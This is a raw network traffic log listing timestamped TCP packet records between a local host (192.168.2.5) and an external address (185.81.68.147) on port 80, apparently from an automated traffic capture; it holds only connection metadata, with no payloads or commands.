Dec 26, 2024 12:05:11.198571920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.199425936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.199485064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.199505091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.199521065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.200443029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.200570107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.200571060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.200623035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.201468945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.201531887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.201569080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.201913118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.202512026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.202627897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.202646017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.202687979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.203507900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.203603029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.203623056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.203665018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.204518080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.204591990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.204629898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.204683065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.205602884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.205662966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.205715895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.205832005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.206605911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.206655979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.206734896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.206808090 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.207626104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.207700968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.207740068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.207787991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.208671093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.208723068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.208771944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.208869934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.209690094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.209764957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.209830046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.210691929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.210741043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.210834026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.210952997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.211713076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.211760998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.211813927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.211862087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.212738037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.212807894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.212861061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.212913036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.213749886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.213936090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.213939905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.213994026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.214790106 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.214920998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.214968920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.215821981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.215964079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.215976000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.216065884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.216841936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.216944933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.216945887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.216996908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.217930079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.217974901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.218066931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.218133926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.218924046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.218981028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.218990088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.219022036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.219994068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.220040083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.220072985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.220180988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.220962048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.221018076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.221091032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.221158028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.222150087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.222206116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.222529888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.222733974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.223047972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.223090887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.223335981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.223407984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.224030972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.224086046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.224140882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.224200964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.225055933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.225120068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.225153923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.225217104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.226062059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.226145983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.226178885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.226365089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.227077007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.227142096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.227175951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.227231026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.228142023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.228247881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.228274107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.228362083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.229204893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.229266882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.229290962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.229311943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.230226040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.230314016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.230401993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.231203079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.231281042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.231323957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.231410027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.232460976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.232518911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.232657909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.233269930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.233344078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.233372927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.233551979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.234244108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.234312057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.234334946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.234391928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.235285997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.235337973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.235407114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.235467911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.236414909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.236514091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.236569881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.237345934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.237396002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.237449884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.237535000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.238349915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.238468885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.238481045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.238560915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.239422083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.239497900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.239525080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.239574909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.240447044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.240576029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.240636110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.241416931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.241468906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.241516113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.241575956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.242450953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.242530107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.242564917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.242624044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.243547916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.243671894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.243694067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.243724108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.244481087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.244626999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.244698048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.245544910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.245616913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.245678902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.245738983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.246546030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.246645927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.246654987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.246803999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.247587919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.247833967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.247844934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.247893095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.248601913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.248682976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.248720884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.248763084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.249665976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.249722004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.249732018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.249792099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.250655890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.250709057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.250760078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.250816107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.251893044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.252022982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.287561893 CET	80	49712	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.287714005 CET	49712	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.291512966 CET	49712	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.408663034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.408691883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.408721924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.408767939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.409135103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.409179926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.409265041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.409318924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.409373999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.409416914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.410247087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.410311937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.410331964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.410363913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.411011934 CET	80	49712	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.411269903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.411462069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.411587000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.412441969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.412532091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.412549019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.412579060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.413353920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.413419008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.413429022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.413595915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.414196014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.414302111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.414349079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.414366961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.415250063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.415297031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.415334940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.415349960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.416268110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.416330099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.416368008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.416484118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.417303085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.417413950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.417438030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.417637110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.418560028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.418607950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.418704987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.418930054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.419570923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.419627905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.419660091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.419702053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.420906067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.420995951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.421015978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.421044111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.422002077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.422142982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.422148943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.422199965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.422956944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.423044920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.423216105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.423280001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.423883915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.423909903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.424010038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.424668074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.424725056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.424787998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.424868107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.425786018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.425817966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.425857067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.425874949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.426532984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.426592112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.426620007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.426713943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.427536964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.427598000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.427623034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.427694082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.428601027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.428668976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.428705931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.428901911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.429574966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.429661036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.429697990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.429801941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.430658102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.430721998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.430742979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.430800915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.431646109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.431704998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.431787014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.431833982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.432697058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.432782888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.432796001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.432848930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.433720112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.433809042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.433856010 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.433913946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.434818983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.434859991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.434906006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.435868979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.435924053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.436039925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.436110020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.436796904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.436882973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.436923027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.436988115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.437958956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.438026905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.438175917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.438256979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.438838959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.438891888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.438926935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.438998938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.439824104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.439915895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.439929962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.439975977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.440860033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.440906048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.440985918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.441044092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.441889048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.441999912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:11.442014933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.442043066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:11.442898035 CET	80	49708	185.81.68.147	192.168.2.5
